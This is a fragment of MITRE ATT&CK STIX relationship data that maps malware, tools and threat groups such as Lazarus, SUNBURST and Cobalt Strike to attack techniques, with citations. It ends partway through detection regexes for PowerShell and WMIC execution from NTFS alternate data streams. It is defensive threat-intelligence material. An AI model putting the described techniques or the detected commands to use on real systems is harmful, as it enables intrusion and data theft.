{"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--617ce344-2317-433a-b283-8e67b90b00f7", "type": "relationship", "created": "2019-04-23T14:59:04.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2020-03-30T02:37:23.877Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a module for compressing data using ZIP.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. 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(2017, May 4). https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a. Retrieved June 15, 2020."}, {"source_name": "CrowdStrike Wizard Spider March 2019", "url": "https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/", "description": "Feeley, B. and Stone-Gross, B. (2019, March 20). New Evidence Proves Ongoing WIZARD SPIDER / LUNAR SPIDER Collaboration. Retrieved June 15, 2020."}, {"source_name": "Malwarebytes TrickBot Sep 2019", "url": "https://blog.malwarebytes.com/trojans/2019/09/trickbot-adds-new-trick-to-its-arsenal-tampering-with-trusted-texts/", "description": "Umawing, J. (2019, September 3). TrickBot adds new trick to its arsenal: tampering with trusted texts. Retrieved June 15, 2020."}], "modified": "2020-06-16T19:04:09.745Z", "description": "(Citation: Forbes Dyre May 2017)(Citation: CrowdStrike Wizard Spider March 2019)(Citation: Malwarebytes TrickBot Sep 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61827309-9071-416b-aedf-7f82f224db2e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. 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[NETEAGLE](https://attack.mitre.org/software/S0034) will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6184b127-47cf-43fc-880b-890554d9cc9a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Rover", "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}], "modified": "2020-03-16T17:46:07.748Z", "description": "[Rover](https://attack.mitre.org/software/S0090) takes screenshots of the compromised system's desktop and saves them to <code>C:\\system\\screenshot.bmp</code> for exfiltration every 60 minutes.(Citation: Palo Alto Rover)", "relationship_type": "uses", "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6188b02d-e7cb-417a-9093-e2d2eea5883f", "type": "relationship", "created": "2021-02-10T19:41:52.687Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T19:41:52.687Z", "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can run commands on the compromised asset with CMD functions.(Citation: ClearSky Lebanese Cedar Jan 2021)", "relationship_type": "uses", "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6189bf91-d755-47e6-9f3c-dd621e3f64fd", "type": "relationship", "created": "2021-01-06T15:56:49.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}, {"source_name": "Microsoft Analyzing Solorigate Dec 2020", "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."}], "modified": "2021-01-06T15:56:49.613Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) had commands to enumerate files and directories.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--618cfee6-a12a-4e17-b66b-cbd965a08357", "type": "relationship", "created": "2020-03-19T15:12:13.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-19T15:12:13.292Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", "target_ref": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--618d4835-6022-46df-bee1-38fcb97ffb91", "created": "2019-06-17T18:49:30.445Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro TropicTrooper 2015", "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", "url": "https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:24:22.263Z", "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) checks for antimalware solution processes on the system.(Citation: TrendMicro TropicTrooper 2015)", "relationship_type": "uses", "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61929ceb-3933-46f1-a11b-4d67482b1d59", "type": "relationship", "created": "2021-01-25T13:58:25.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. 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Retrieved July 28, 2020."}], "modified": "2020-08-19T17:34:47.334Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) has created a service when it is installed on the victim machine.(Citation: Unit42 RDAT July 2020)\t", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--61cfb178-a097-4788-a084-48d0d7c602b5", "created": "2023-03-17T14:09:07.593Z", "revoked": false, "external_references": [{"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. 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Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T14:09:07.593Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used malicious Trojans and DLL files to exfiltrate data from an infected host.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61cfe134-e24e-490e-a298-40612df42832", "type": "relationship", "created": "2020-06-09T21:23:39.177Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Skidmap", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", "description": "Remillano, A., Urbanec, J. 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Retrieved June 4, 2020."}], "modified": "2020-06-26T04:03:50.768Z", "description": "[Skidmap](https://attack.mitre.org/software/S0468) has the ability to replace the pam_unix.so file on an infected machine with its own malicious version that accepts a specific backdoor password for all users.(Citation: Trend Micro Skidmap)", "relationship_type": "uses", "source_ref": "malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0", "target_ref": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61d859c1-c6f4-4f5f-bc5f-032481dddbe4", "type": "relationship", "created": "2020-07-17T15:48:51.563Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:03.100Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can enumerate the shared folders and associated permissions for a targeted network.(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61dd6d75-a95b-488d-9a1d-924563592df7", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}], "modified": "2020-03-18T20:34:00.351Z", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect user account information by running <code>net user /domain</code> or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61de6721-267c-4224-8000-b3329f3057cf", "type": "relationship", "created": "2021-03-17T15:54:31.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Debian nbtscan Nov 2019", "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html", "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."}, {"source_name": "SecTools nbtscan June 2003", "url": "https://sectools.org/tool/nbtscan/", "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}], "modified": "2021-03-17T15:54:31.047Z", "description": "[NBTscan](https://attack.mitre.org/software/S0590) can be used to scan IP networks.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)", "relationship_type": "uses", "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61e9d783-571b-49d4-a30b-8fde8a13d4c0", "type": "relationship", "created": "2020-11-06T18:40:37.998Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:51:49.476Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can timestomp any files or payloads placed on a target machine to help them blend in.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61ea0450-24ef-4077-b5f4-2946e4eaa9b9", "type": "relationship", "created": "2021-06-07T13:20:23.810Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-06-07T13:20:23.810Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61ecf569-fd27-4c61-b1a9-a516fba16fac", "type": "relationship", "created": "2021-10-17T15:10:00.617Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tonto Team October 2020", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}], "modified": "2021-10-17T15:10:00.617Z", "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) has used keylogging tools in their operations.(Citation: TrendMicro Tonto Team October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61ee8aa7-89fc-4414-97f3-95fa9f1f26ad", "type": "relationship", "created": "2020-09-30T13:48:26.377Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."}], "modified": "2020-09-30T14:13:38.379Z", "description": "[SoreFang](https://attack.mitre.org/software/S0516) can gain access by exploiting a Sangfor SSL VPN vulnerability that allows for the placement and delivery of malicious update binaries.(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61f91f23-a8a5-4b4e-b546-f0fff28851a1", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}, {"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-19T16:54:10.378Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN7 April 2017", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about running processes on the victim.(Citation: FireEye FIN7 April 2017)", "relationship_type": "uses", "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6203e555-d5f9-4b3c-978b-d10db7575dbc", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Linfo May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}], "modified": "2020-03-20T02:11:07.285Z", "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can list contents of drives and search for files.(Citation: Symantec Linfo May 2012)", "relationship_type": "uses", "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6204f142-a2a7-406f-9874-af8f3bb9dca9", "type": "relationship", "created": "2020-09-29T15:45:28.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PWC WellMess July 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}, {"source_name": "CISA WellMess July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b", "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."}], "modified": "2020-09-29T17:39:46.319Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can write files to a compromised host.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6209bf2d-6ffd-4740-96cb-ef04379ae126", "type": "relationship", "created": "2020-03-25T18:03:46.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2021-01-22T16:19:13.134Z", "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for keychains.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--620d641c-8f76-45f3-a86f-03dd28399d5c", "type": "relationship", "created": "2019-06-13T16:02:06.717Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077", "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", "source_name": "UCF STIG Elevation Account Enumeration"}], "modified": "2021-04-14T12:26:11.844Z", "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6213e3cf-c18e-47de-b281-07aa3c3179db", "type": "relationship", "created": "2020-11-09T14:52:45.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-09T14:52:45.719Z", "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can download additional tools to a compromised host.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--62154535-97ec-498a-9c65-73e946985a64", "created": "2024-02-14T21:56:34.746Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:54:57.985Z", "description": "Monitor for process execution that may use NTFS file attributes to hide their malicious data in order to evade detection. \n\nAnalytic 1 - NTFS Alternate Data Stream Execution : System Utilities (Powershell)\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\\\Windows\\\\*\\\\powershell.exe\" | regex CommandLine= \"Invoke-CimMethod\\s+-ClassName\\s+Win32_Process\\s+-MethodName\\s+Create.*\\b(\\w+(\\.\\w+)?):(\\w+(\\.\\w+)?)|-ep bypass\\s+-\\s+<.*\\b(\\w+(\\.\\w+)?):(\\w+(\\.\\w+)?)|-command.*Get-Content.*-Stream.*Set-Content.*start-process .*(\\w+(\\.\\w+)?)\"</code>\n\nAnalytic 2 - NTFS Alternate Data Stream Execution : System Utilities (WMIC)\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\\\Windows\\\\*\\\\wmic.exe\" | regex CommandLine= \"process call create.*\\\"(\\w+(\\.\\w+)?):(\\w+(\\.\\w+)?)\"</code>\n\nAnalytic 3 